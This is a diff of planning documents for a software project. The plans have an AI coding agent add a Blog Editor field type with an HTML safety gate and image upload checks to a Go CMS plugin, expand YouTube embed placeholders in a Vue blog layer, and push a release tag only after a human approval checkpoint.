controllers/posts.go (D-02, D-03, D-10): preparePostWrite stops calling FormatHTML; it keeps refuseUnpublishedWrite and the published_at check, then sets post.ContentHTML to the Default write of "content" from cabana.FieldWritesFromContext when there is one and leaves ContentHTML untouched otherwise. New FormAfterCreate and FormAfterUpdate on postsAdminController call writeContentHTMLTranslations, which for every non-default write of "content" calls the app's cabana.TranslationWriter WriteTranslated(ctx, tx, post, "content_html", locale, value), with tx from cabana.TxFromContext (falling back to c.db(ctx)); no writer means nothing to write. Add the pact.FormAfterCreate and pact.FormAfterUpdate compile-time assertions. The public API helpers (controllers/api/posts_helpers.go) are not touched (D-09).
|
||||
|
||||
Lang: add editor.content_invalid ("The content must be HTML text." / "Treść musi być tekstem HTML."), editor.image_invalid and editor.upload_failed to lang/en and lang/pl.
|
||||
|
||||
Docker tests (correctness, compiled by vet, run on a Docker host): in posts_admin_smoke_test.go TestPostsFormCompiles expects "mlblogeditor" instead of "mlmarkdown" for content (keep the mltext, mltextarea and preset checks); TestPostsAdminCreateSmoke posts HTML content ("<p>Hello <strong>world</strong></p>" and the pl equivalent) and asserts stored.ContentHTML equals stored.Content exactly; TestPostsAdminResaveKeepsHTML compares content_html with the exact content bytes (no TrimSpace).
|
||||
|
||||
Smoke: controllers/posts_editor_smoke_test.go TestBlogEditorTracerSmoke (package controllers, no database): CompileFormWithTypes("golem15.journal", postsAdminController{}, os.DirFS(".."), classes.BlogEditorTypes(nil)) gives content type mlblogeditor, element golem15-journal-blogeditor, translatable, typeOptions htmlColumn content_html; Decode passes an HTML string and the placeholder from plan 02 unchanged and refuses a script tag and an onerror attribute with a FormFieldError; Load serves content for an HTML value, content_html (via a stub Translated) for a markdown value, FormatHTML output when content_html is empty; with WithFieldWrites({content: [pl default "<p>A</p>", en "<p>B</p>"]}) and a backend principal, FormBeforeUpdate sets ContentHTML "<p>A</p>" and FormAfterUpdate writes content_html for en through a recording TranslationWriter published on a backpack app; without writes FormBeforeUpdate leaves ContentHTML unchanged (no goldmark).
|
||||
|
||||
Commit as "feat(admin): post content on the Blog Editor field type" (classes, field_types.go, posts.go, fields.yaml, lang, tests), staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -count=1 -run '^TestBlogEditorTracerSmoke$' -v ./controllers/ 2>&1 | grep -- '^--- PASS: TestBlogEditorTracerSmoke'</automated>
|
||||
<fails_when>Non-zero exit: go vet fails (including the updated Docker tests), or no "--- PASS: TestBlogEditorTracerSmoke" line (fields.yaml does not compile with the types, Decode lets unsafe HTML through, Load ignores D-07, or the hooks do not write content_html).</fails_when>
|
||||
<automated>go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... && go -C ../sm-journal-plugin test -count=1 -run '^(TestFormatHTMLKeepsRawHTML|TestFormatHTMLRejectsUnsafeHTML|TestCheckHTML)$' -v ./classes/ 2>&1 | grep -c '^--- PASS: Test' | grep -qx 3</automated>
|
||||
<fails_when>Non-zero exit: a classes or controllers test fails, or fewer than three "--- PASS: Test" lines for the FormatHTML and CheckHTML tests (the API-path renderer or the gate regressed).</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "type: mlblogeditor" ../sm-journal-plugin/models/post/fields.yaml` prints one line and `grep -n "htmlColumn: content_html" ../sm-journal-plugin/models/post/fields.yaml` prints one line.
|
||||
- `grep -n "FieldWritesFromContext" ../sm-journal-plugin/controllers/posts.go` prints at least one line, and `grep -n "func (c postsAdminController) FormAfterUpdate" ../sm-journal-plugin/controllers/posts.go` prints one line.
|
||||
- `git -C ../sm-journal-plugin diff --quiet 03907ee -- controllers/api/posts_helpers.go controllers/api/posts.go` exits 0 (D-09: the public posts API code is unchanged since the pre-phase head).
|
||||
- TestBlogEditorTracerSmoke passes with its compile, Decode, Load (HTML, markdown, empty content_html) and hook subtests.
|
||||
- TestPostsFormCompiles in posts_admin_smoke_test.go looks for "mlblogeditor".
|
||||
</acceptance_criteria>
|
||||
<done>Post content compiles as mlblogeditor, unsafe HTML is refused per locale, markdown posts are served as their content_html, and a written content value lands in content_html for its locale without goldmark.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 2: Expansion: category content on blogeditor, editor uploads through the extracted media storage, README</name>
|
||||
<files>../sm-journal-plugin/classes/blog_editor.go, ../sm-journal-plugin/classes/media_store.go, ../sm-journal-plugin/classes/media_store_test.go, ../sm-journal-plugin/controllers/api/media.go, ../sm-journal-plugin/controllers/api/media_test.go, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/models/category/fields.yaml, ../sm-journal-plugin/README.md</files>
|
||||
<read_first>../sm-journal-plugin/classes/blog_editor.go (Task 1 state), ../sm-journal-plugin/controllers/api/media.go, ../sm-journal-plugin/controllers/api/media_test.go, ../sm-journal-plugin/controllers/categories.go, ../sm-journal-plugin/models/category.go, ../sm-journal-plugin/models/category/fields.yaml, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/README.md, ../summercms.go/modules/lagoon/attach (PublicURL), /media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/models/Category.php (translatable list, lines 36-40)</read_first>
|
||||
<behavior>
|
||||
- StoreMedia keeps the public route's rules: extensions jpg, jpeg, png, gif, webp only; more than 10240 KiB is a MediaError on file with "The file may not be greater than 10240 kilobytes."; keys /journal/<folder>/<name> with the existing unique suffix; returns the attach.PublicURL of the key and the path.
|
||||
- UploadMedia answers exactly as before (201 {data:{url, path}}, the same 422 messages) using StoreMedia.
|
||||
- Editor Upload: a png named "Zdjęcie 1.PNG" with png bytes is stored under /journal/posts/ with a safe name and returns its URL; a .png whose bytes sniff as text/html is a FormFieldError; an svg is a FormFieldError; a missing bucket is an opaque error.
|
||||
- Category content: models/category/fields.yaml content is type blogeditor with uploadFolder categories; CompileFormWithTypes accepts it; Load serves the stored HTML for a *string (nil gives ""); prepareCategoryWrite still maps blank to NULL and refuses unsafe HTML.
|
||||
</behavior>
|
||||
<action>Finish the Journal half (per D-18, D-19, D-09).
|
||||
|
||||
Media storage (D-18, D-09): new classes/media_store.go with MediaMaxBytes (10240 shifted left by 10), MediaFolderPattern (moved), MediaError{Field, Message} (Error returns Message), StoredMedia{URL, Path}, and StoreMedia(ctx, bucket, folder, filename, body) holding the part of UploadMedia after authentication: base name via path.Base on the slash-normalised filename, extension allowlist, reading at most MediaMaxBytes+1 bytes, the size message, mediaObjectPath, uniqueMediaKey (both moved here from controllers/api/media.go and taking a context instead of the request), the bucket writer and attach.PublicURL. UploadMedia keeps authentication, permissions, the folder validation and the form parsing, calls StoreMedia, maps a MediaError to writeValidation with the same field and message, any other error to the same 500 body, and writes the same 201 body. Move TestMediaObjectPath and TestMediaFolderPatternRejectsDotDot to classes/media_store_test.go unchanged in substance.
|
||||
|
||||
Editor Upload (D-18): uploadBlogImage, set as Upload on both types: looks up *blob.Bucket from the app accessor (missing is an opaque error), reads the first 512 bytes and requires http.DetectContentType to report image/jpeg, image/png, image/gif or image/webp (else FormFieldError "golem15.journal::lang.editor.image_invalid"), builds the name with safeUploadName (assumption: lowercase, characters outside a-z, 0-9, dot, underscore and hyphen become hyphens, runs collapsed, extension kept, empty becomes image), calls StoreMedia with the field's uploadFolder (default "editor") and the sniffed head re-joined to the rest of the body, maps a MediaError to a FormFieldError with its message and returns FormFieldUploadResult{URL}.
|
||||
|
||||
Category (D-19): models/category/fields.yaml content becomes type blogeditor with uploadFolder: categories (keep label, comment, size and span); the Categories controller is not changed.
|
||||
|
||||
Smoke: add TestBlogEditorUploadSmoke to controllers/posts_editor_smoke_test.go (gocloud.dev/blob/memblob bucket published on a backpack app) covering the behavior bullets for StoreMedia, the editor Upload and the category compile and Load.
|
||||
|
||||
README.md (plugin README, may name the plugin): an Admin section update describing the Blog Editor field types blogeditor and mlblogeditor and their options, what an admin save stores (HTML in content and content_html per locale; untouched content is not rewritten; markdown posts open with their rendered HTML and become HTML on the first edit), that the public API stays markdown-in (D-09), and editor uploads. Commit as "feat(admin): category content on the Blog Editor and editor image uploads" and "refactor(api): share media storage with the editor upload" as two commits, staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -count=1 -run '^(TestBlogEditorTracerSmoke|TestBlogEditorUploadSmoke)$' -v ./controllers/ 2>&1 | grep -c '^--- PASS: TestBlogEditor' | grep -qx 2</automated>
|
||||
<fails_when>Non-zero exit: vet fails, or fewer than two "--- PASS: TestBlogEditor" lines (upload storage, sniffing, safe names, category compile or Load broken, or the Task 1 smoke regressed).</fails_when>
|
||||
<automated>go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/...</automated>
|
||||
<fails_when>Non-zero exit: a classes test (including the moved media path tests) or a controllers/api test fails.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "type: blogeditor" ../sm-journal-plugin/models/category/fields.yaml` prints one line.
|
||||
- `grep -n "StoreMedia" ../sm-journal-plugin/controllers/api/media.go` prints at least one line, and `grep -n '"path":' ../sm-journal-plugin/controllers/api/media.go` still prints one line (response shape kept).
|
||||
- `grep -n "func StoreMedia" ../sm-journal-plugin/classes/media_store.go` prints one line, and classes/media_store_test.go holds TestMediaObjectPath and TestMediaFolderPatternRejectsDotDot.
|
||||
- TestBlogEditorUploadSmoke passes its sniff, svg, safe-name, size and category subtests.
|
||||
- README.md mentions blogeditor and mlblogeditor.
|
||||
</acceptance_criteria>
|
||||
<done>Category content uses the Blog Editor, editor images upload into the same media storage and URLs as the public route, and the public route's contract is unchanged.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| admin save body → Journal Decode | every locale's content value crosses here (through cabana) |
|
||||
| editor upload → media bucket | user files become public URLs under /storage/app/uploads/public |
|
||||
| Journal public API clients → posts and media routes | contract must not change (D-09) |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.2-14 | Tampering (stored XSS) | decodeBlogHTML | high | mitigate | CheckHTML on every locale value cabana decodes (default and non-default), refuse with a FormFieldError, no rewrite; the smoke test covers script and onerror refusals and the placeholder passing |
|
||||
| T-16.2-15 | Tampering / Elevation | uploadBlogImage | high | mitigate | Extension allowlist without svg, http.DetectContentType magic-byte check for jpeg, png, gif and webp, 10240 KiB cap in StoreMedia plus cabana's upload cap; nginx serves the storage path with nosniff |
|
||||
| T-16.2-16 | Tampering | upload keys | medium | mitigate | uploadFolder validated at boot by the existing folder rule (no ..), safeUploadName limits the base name to a-z, 0-9, dot, underscore, hyphen; uniqueMediaKey never overwrites an existing object |
|
||||
| T-16.2-17 | Repudiation / contract | public posts and media routes | medium | mitigate | posts_helpers.go untouched (FormatHTML stays on the API path); UploadMedia keeps its response body and messages; the existing api tests keep passing |
|
||||
| T-16.2-18 | Information Disclosure | content_html companion writes | low | mitigate | Only values cabana reports as written are copied, to the same record and locale, inside the save transaction |
|
||||
| T-16.2-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package is installed; gocloud.dev/blob/memblob is part of the existing gocloud.dev requirement and is used in tests only |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: go vet, TestBlogEditorTracerSmoke, the classes and controllers packages, FormatHTML and CheckHTML tests pass.
|
||||
- Task 2: go vet, both TestBlogEditor smoke tests, the classes and controllers packages pass.
|
||||
- The root-package Postgres tests (TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML) compile and run on a Docker host before the release (plan 05 docker-first option) or before /msd-verify-work.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- Post content on mlblogeditor and category content on blogeditor, both gated by CheckHTML per locale.
|
||||
- Admin saves store HTML in both columns per written locale and leave untouched content byte-identical; the public API is unchanged.
|
||||
- Editor uploads use the shared media storage with a magic-byte check.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-SUMMARY.md` when done, with the commit hashes, the smoke test output and the list of Postgres tests that still need a Docker host.
|
||||
</output>
|
||||
@@ -0,0 +1,241 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 04
|
||||
type: execute
|
||||
wave: 1
|
||||
depends_on: []
|
||||
files_modified:
|
||||
- ../vue-journal-layer/app/utils/embeds.ts
|
||||
- ../vue-journal-layer/app/components/Journal/PostBody.vue
|
||||
- ../vue-journal-layer/app/components/Journal/CategoryHeader.vue
|
||||
- ../vue-journal-layer/app/assets/css/journal-base.css
|
||||
- ../vue-journal-layer/tests/embeds.test.ts
|
||||
- ../vue-journal-layer/testing/fixtures/acme/posts.json
|
||||
- ../vue-journal-layer/testing/expect-acme.txt
|
||||
- ../vue-journal-layer/README.md
|
||||
- ../vue-journal-layer/package.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml
|
||||
autonomous: false
|
||||
requirements: [D-05, D-17]
|
||||
estimate:
|
||||
tokens: 45000
|
||||
raw_tokens: 45000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-17 and D-05: the layer's post body and category content run gateJournalHtml first and then expandEmbeds; only an exact <figure data-embed=\"youtube\" data-id=\"ID\"></figure> with an 11-character id from [A-Za-z0-9_-] becomes <figure class=\"journal-embed journal-embed--youtube\"> holding an iframe on https://www.youtube-nocookie.com/embed/ID; any other figure, provider or id stays unchanged and inert."
|
||||
- "D-05: a raw iframe in stored HTML is still refused by gateJournalHtml before expansion (the blocked notice renders, no iframe)."
|
||||
- "D-17: the built playground server, run with testing/smoke-ssr.mjs against the acme fixtures, renders the youtube-nocookie iframe for the fixture post that carries a placeholder."
|
||||
- "D-17: vue-journal-layer v0.2.0 is an annotated tag on origin, scripts/check-git-install.sh v0.2.0 passes, and vue-grzybyfunkcjonalne-app main pins git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.2.0 with a pnpm-lock.yaml that resolves to the tag's commit, builds and passes its tests."
|
||||
artifacts:
|
||||
- path: "../vue-journal-layer/app/utils/embeds.ts"
|
||||
provides: "expandEmbeds and the provider allowlist"
|
||||
contains: "youtube-nocookie.com/embed/"
|
||||
- path: "../vue-journal-layer/tests/embeds.test.ts"
|
||||
provides: "node:test smoke of the transform and the gate order"
|
||||
contains: "expandEmbeds"
|
||||
- path: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json"
|
||||
provides: "layer pin"
|
||||
contains: "vue-journal-layer.git#v0.2.0"
|
||||
key_links:
|
||||
- from: "../vue-journal-layer/app/components/Journal/PostBody.vue"
|
||||
to: "../vue-journal-layer/app/utils/embeds.ts expandEmbeds"
|
||||
via: "v-html of expandEmbeds(gated.html), only when gated.safe"
|
||||
pattern: "expandEmbeds"
|
||||
- from: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml"
|
||||
to: "vue-journal-layer v0.2.0 commit"
|
||||
via: "pnpm install after the pin bump"
|
||||
pattern: "vue-journal-layer"
|
||||
prohibitions:
|
||||
- statement: "The layer never builds an iframe from anything but a validated provider id and a fixed host; it never loosens gateJournalHtml."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "A pushed layer tag is never moved or deleted; a defect after the push gets v0.2.1."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
|
||||
|
||||
This plan's slice (user decision 1, plan 04): the frontend half of embeds (D-17). The reusable Nuxt blog views layer expands the editor's allowlisted embed placeholders into privacy-enhanced YouTube iframes after its HTML gate, ships as tag v0.2.0, and the site app pins it.
|
||||
|
||||
Path note: the site app is the submodule `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app` (its own repository, origin git.golem15.com/golem15/vue-grzybyfunkcjonalne-app, branch main), not a sibling directory. Plan 05 bumps the host's gitlink to the app commit pushed here.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
|
||||
|
||||
## Decisions recorded here (Claude's discretion)
|
||||
|
||||
- Provider allowlist: YouTube only, as one entry in `EMBED_PROVIDERS` (id pattern `^[A-Za-z0-9_-]{11}$`, src `https://www.youtube-nocookie.com/embed/<id>`), matching the editor's table in plan 02.
|
||||
- The placeholder is matched exactly as the editor writes it (attribute order data-embed then data-id, empty figure, no caption). Anything else is left as is, so an unknown or malformed placeholder renders as an empty figure.
|
||||
- Iframe attributes: `title="YouTube video"`, `loading="lazy"`, `referrerpolicy="strict-origin-when-cross-origin"`, `allow="encrypted-media; picture-in-picture; fullscreen"`, `allowfullscreen`. The site sets no CSP, so no header change is needed (RESEARCH Pattern 7).
|
||||
- The layer tag push is a one-way door and gets its own checkpoint here; the summercms tag and the UAT deploy are gated in plan 05.
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- `app/utils/embeds.ts`: `EMBED_PLACEHOLDER` (RegExp), `EMBED_PROVIDERS`, `expandEmbeds(html: string): string`.
|
||||
- CSS classes `.journal-embed`, `.journal-embed--youtube` in `app/assets/css/journal-base.css`.
|
||||
- `tests/embeds.test.ts`; acme fixture post with a placeholder and the matching `testing/expect-acme.txt` line.
|
||||
- Layer version 0.2.0 and annotated tag `v0.2.0` on origin.
|
||||
- vue-grzybyfunkcjonalne-app main: pin `#v0.2.0` and the updated `pnpm-lock.yaml`.
|
||||
|
||||
<objective>
|
||||
Expand editor embed placeholders in the vue-journal-layer blog views (D-17, D-05), release the layer as v0.2.0 and pin it in the site app.
|
||||
|
||||
Purpose: grzybyfunkcjonalne.pl shows the YouTube embeds authors add in the Blog Editor while stored HTML keeps passing the strict gate.
|
||||
Output: embeds.ts with tests and SSR proof, tag v0.2.0, app pin and lockfile.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md
|
||||
|
||||
Repositories: `../vue-journal-layer` (branch main, tags v0.0.1 and v0.1.0, pnpm-lock.yaml, tests run with `npm test` = node --test on TypeScript with type stripping, Node 22.18 or later) and `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app` (branch main, pnpm). Commits: no co-author tags, stage by explicit path. Use only erasable TypeScript syntax in files node --test loads (no enums, no parameter properties) and import siblings with the .ts extension, as htmlGate.ts does.
|
||||
|
||||
<interfaces>
|
||||
Placeholder written by the editor (plan 02) and the expansion it becomes:
|
||||
|
||||
```html
|
||||
<figure data-embed="youtube" data-id="dQw4w9WgXcQ"></figure>
|
||||
<!-- becomes -->
|
||||
<figure class="journal-embed journal-embed--youtube"><iframe src="https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ" title="YouTube video" loading="lazy" referrerpolicy="strict-origin-when-cross-origin" allow="encrypted-media; picture-in-picture; fullscreen" allowfullscreen></iframe></figure>
|
||||
```
|
||||
|
||||
Existing gate (app/utils/htmlGate.ts): `gateJournalHtml(html) -> { safe, html }`, refusing `<script|iframe|object|embed`, `on*=` and `javascript:|vbscript:|data:`. PostBody.vue renders `v-html="gated.html"` when `gated.safe`; CategoryHeader.vue renders `v-html="content.html"` when `content.safe && content.html`.
|
||||
</interfaces>
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 1: Tracer: a stored placeholder renders as a privacy-enhanced YouTube iframe on the post page (gate, expand, v-html, SSR)</name>
|
||||
<reversibility rating="costly">D-05 and D-17: the layer's matcher is the reader of the stored placeholder format; both must change together if the markup ever changes.</reversibility>
|
||||
<files>../vue-journal-layer/app/utils/embeds.ts, ../vue-journal-layer/app/components/Journal/PostBody.vue, ../vue-journal-layer/app/components/Journal/CategoryHeader.vue, ../vue-journal-layer/app/assets/css/journal-base.css, ../vue-journal-layer/tests/embeds.test.ts, ../vue-journal-layer/testing/fixtures/acme/posts.json, ../vue-journal-layer/testing/expect-acme.txt, ../vue-journal-layer/README.md</files>
|
||||
<read_first>../vue-journal-layer/app/utils/htmlGate.ts, ../vue-journal-layer/tests/htmlGate.test.ts (test style), ../vue-journal-layer/app/components/Journal/PostBody.vue, ../vue-journal-layer/app/components/Journal/CategoryHeader.vue, ../vue-journal-layer/app/assets/css/journal-base.css, ../vue-journal-layer/app/assets/css/journal-tokens.css, ../vue-journal-layer/testing/expect-acme.txt (grammar), ../vue-journal-layer/testing/fixtures/acme/posts.json (post hello-acme), ../vue-journal-layer/testing/smoke-ssr.mjs, ../vue-journal-layer/.playground/nuxt.config.ts, ../vue-journal-layer/package.json, ../vue-journal-layer/README.md</read_first>
|
||||
<action>Build the expansion on the post page end to end (per D-17, D-05).
|
||||
|
||||
embeds.ts (header comment naming the editor's placeholder and the Go gate as the source of truth, in the htmlGate.ts style): EMBED_PROVIDERS with one entry youtube (id pattern ^[A-Za-z0-9_-]{11}$, src builder on https://www.youtube-nocookie.com/embed/, title "YouTube video"); EMBED_PLACEHOLDER, a global RegExp matching exactly the placeholder in the interfaces block with capture groups for provider and id (attribute values without quotes or angle brackets); expandEmbeds(html) replaces a match only when the provider is in EMBED_PROVIDERS and the id passes its pattern, producing exactly the expansion in the interfaces block; every other match is returned unchanged; empty input returns "".
|
||||
|
||||
Wiring: PostBody.vue computes the rendered HTML as expandEmbeds(gated.html) only when gated.safe (the gate always runs first, so a raw iframe is refused before expansion); CategoryHeader.vue does the same for content.html. journal-base.css adds .journal-embed (block, margin from the existing spacing tokens, aspect-ratio 16 / 9, width 100 percent) and its iframe (width and height 100 percent, border 0).
|
||||
|
||||
Fixtures: append the placeholder for id dQw4w9WgXcQ to the content_html of the acme post hello-acme, and add to testing/expect-acme.txt the line "200 /blog/hello-acme contains=https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ" under the single-post block.
|
||||
|
||||
Smoke: tests/embeds.test.ts (node:test): the placeholder expands to the exact iframe markup; a 10-character id, an unknown provider and a figure with extra attributes stay unchanged; a raw iframe in the input is refused by gateJournalHtml before expandEmbeds can run (the composed pipeline yields safe false); two placeholders in one body both expand.
|
||||
|
||||
README.md: an "Embeds" section describing the placeholder, the allowlist, the gate-first order and the CSS classes. Commit as "feat: expand Journal embed placeholders into privacy-enhanced iframes", staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>npm --prefix ../vue-journal-layer test 2>&1 | grep -E '^# fail 0$'</automated>
|
||||
<fails_when>No "# fail 0" line in the TAP summary: an embeds test or an existing htmlGate, routes, seo, sitemap, i18n, pagination or client test failed.</fails_when>
|
||||
<automated>pnpm -C ../vue-journal-layer install --frozen-lockfile && pnpm -C ../vue-journal-layer run build:playground && node ../vue-journal-layer/testing/smoke-ssr.mjs --output ../vue-journal-layer/.playground/.output --fixtures ../vue-journal-layer/testing/fixtures/acme --expect ../vue-journal-layer/testing/expect-acme.txt 2>&1 | grep '^smoke-ssr: ok ('</automated>
|
||||
<fails_when>No line starting with "smoke-ssr: ok (": the playground build failed, or an expectation failed (the new youtube-nocookie line on /blog/hello-acme, or an existing one such as the unsafe-sample blocked notice).</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "export function expandEmbeds" ../vue-journal-layer/app/utils/embeds.ts` prints one line.
|
||||
- `grep -c "expandEmbeds" ../vue-journal-layer/app/components/Journal/PostBody.vue ../vue-journal-layer/app/components/Journal/CategoryHeader.vue` reports at least 1 for each file.
|
||||
- `grep -n "youtube-nocookie.com/embed/dQw4w9WgXcQ" ../vue-journal-layer/testing/expect-acme.txt` prints one line.
|
||||
- The node test summary shows "# fail 0" and includes the embeds tests; smoke-ssr passes against the built playground.
|
||||
</acceptance_criteria>
|
||||
<done>A placeholder in a stored post renders as a youtube-nocookie iframe in the SSR page, malformed placeholders stay inert, and raw iframes are still blocked.</done>
|
||||
</task>
|
||||
|
||||
<task type="checkpoint:decision" gate="blocking-human">
|
||||
<name>Task 2: Approve pushing vue-journal-layer v0.2.0 and the site app pin</name>
|
||||
<precondition>Task 1's two verify commands passed.</precondition>
|
||||
<read_first>../vue-journal-layer/scripts/check-git-install.sh, ../vue-journal-layer/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json</read_first>
|
||||
<action>Automate the checks, then stop. In ../vue-journal-layer: `git status --porcelain` prints nothing; `git fetch origin --tags`; `git log --oneline HEAD..origin/main` prints nothing (if it prints commits, stop and report); `git ls-remote --tags origin refs/tags/v0.2.0` prints nothing. Set package.json version to 0.2.0 and commit it as "chore: release v0.2.0". In the app submodule: `git status --porcelain` prints nothing and `git log --oneline HEAD..origin/main` prints nothing. Print the release sheet: the layer commits to push (`git log --oneline origin/main..HEAD`), the tag name and message "v0.2.0: Journal embed placeholders expand into privacy-enhanced YouTube iframes", the app change (pin #v0.1.0 to #v0.2.0 plus the regenerated lockfile), and the rollback (a defect means v0.2.1; the app pin can go back to #v0.1.0). Stop for the human.</action>
|
||||
<decision>Push vue-journal-layer main and the annotated tag v0.2.0, then push the vue-grzybyfunkcjonalne-app pin bump?</decision>
|
||||
<context>A pushed tag is installed by consumer lockfiles (git+https ... #v0.2.0) and cannot be moved, only superseded. The site app's main is what plan 05 deploys to UAT through the host gitlink. The embed expansion is harmless before any post holds a placeholder.</context>
|
||||
<options>
|
||||
<option id="push">
|
||||
<name>Push now</name>
|
||||
<pros>The site can render embeds as soon as plan 05 deploys; check-git-install proves the tag installs anonymously</pros>
|
||||
<cons>The tag is permanent</cons>
|
||||
</option>
|
||||
<option id="hold">
|
||||
<name>Hold the tag</name>
|
||||
<pros>Nothing leaves this machine</pros>
|
||||
<cons>Plan 05 cannot bump the app gitlink to an app that pins v0.2.0; embeds would not render on UAT</cons>
|
||||
</option>
|
||||
</options>
|
||||
<resume-signal>Reply "push" or "hold".</resume-signal>
|
||||
<verify>
|
||||
<automated>test -z "$(git -C ../vue-journal-layer status --porcelain)" && test -z "$(git -C ../vue-journal-layer ls-remote --tags origin refs/tags/v0.2.0)" && grep -q '"version": "0.2.0"' ../vue-journal-layer/package.json && test -z "$(git -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app status --porcelain)" && echo push-precheck-ok</automated>
|
||||
<fails_when>Non-zero exit or "push-precheck-ok" absent: the layer or app tree is dirty, the tag already exists on origin, or the version bump is missing.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- push-precheck-ok was printed.
|
||||
- The SUMMARY records the release sheet and the human's reply verbatim.
|
||||
</acceptance_criteria>
|
||||
<done>A human chose push or hold (hold stops the plan and is reported to plan 05).</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 3: Push the layer tag, prove the git install, pin v0.2.0 in the site app</name>
|
||||
<reversibility rating="one-way">The annotated tag v0.2.0 is consumed by lockfiles that pin its commit; it can only be superseded by v0.2.1.</reversibility>
|
||||
<precondition>Task 2 was answered "push"; `git -C ../vue-journal-layer ls-remote --tags origin refs/tags/v0.2.0` still prints nothing.</precondition>
|
||||
<files>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml</files>
|
||||
<read_first>../vue-journal-layer/scripts/check-git-install.sh, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/ssr.test.ts (needs a build first), ../sm-grzybyfunkcjonalne-app/scripts/build.sh (how the host builds the app: pnpm install --frozen-lockfile)</read_first>
|
||||
<action>Release the layer (per D-17): in ../vue-journal-layer create the annotated tag with git tag -a v0.2.0 and the message from Task 2, then git push origin main and git push origin v0.2.0; run bash scripts/check-git-install.sh v0.2.0 (a scratch app installs the tag anonymously, the lockfile pins the tag commit, nuxt build and the acme SSR expectations, including the new embed line, pass).
|
||||
|
||||
Pin in the site app: in ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app change the vue-journal-layer dependency from #v0.1.0 to git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.2.0, run pnpm install to regenerate pnpm-lock.yaml (it must record the tag's commit), then pnpm build and pnpm test (unit and SSR tests against the built output). Commit package.json and pnpm-lock.yaml as "chore(deps): vue-journal-layer v0.2.0 (Journal embeds)" and push origin main. Record both pushed heads and the tag commit in the SUMMARY.</action>
|
||||
<verify>
|
||||
<automated>bash ../vue-journal-layer/scripts/check-git-install.sh v0.2.0</automated>
|
||||
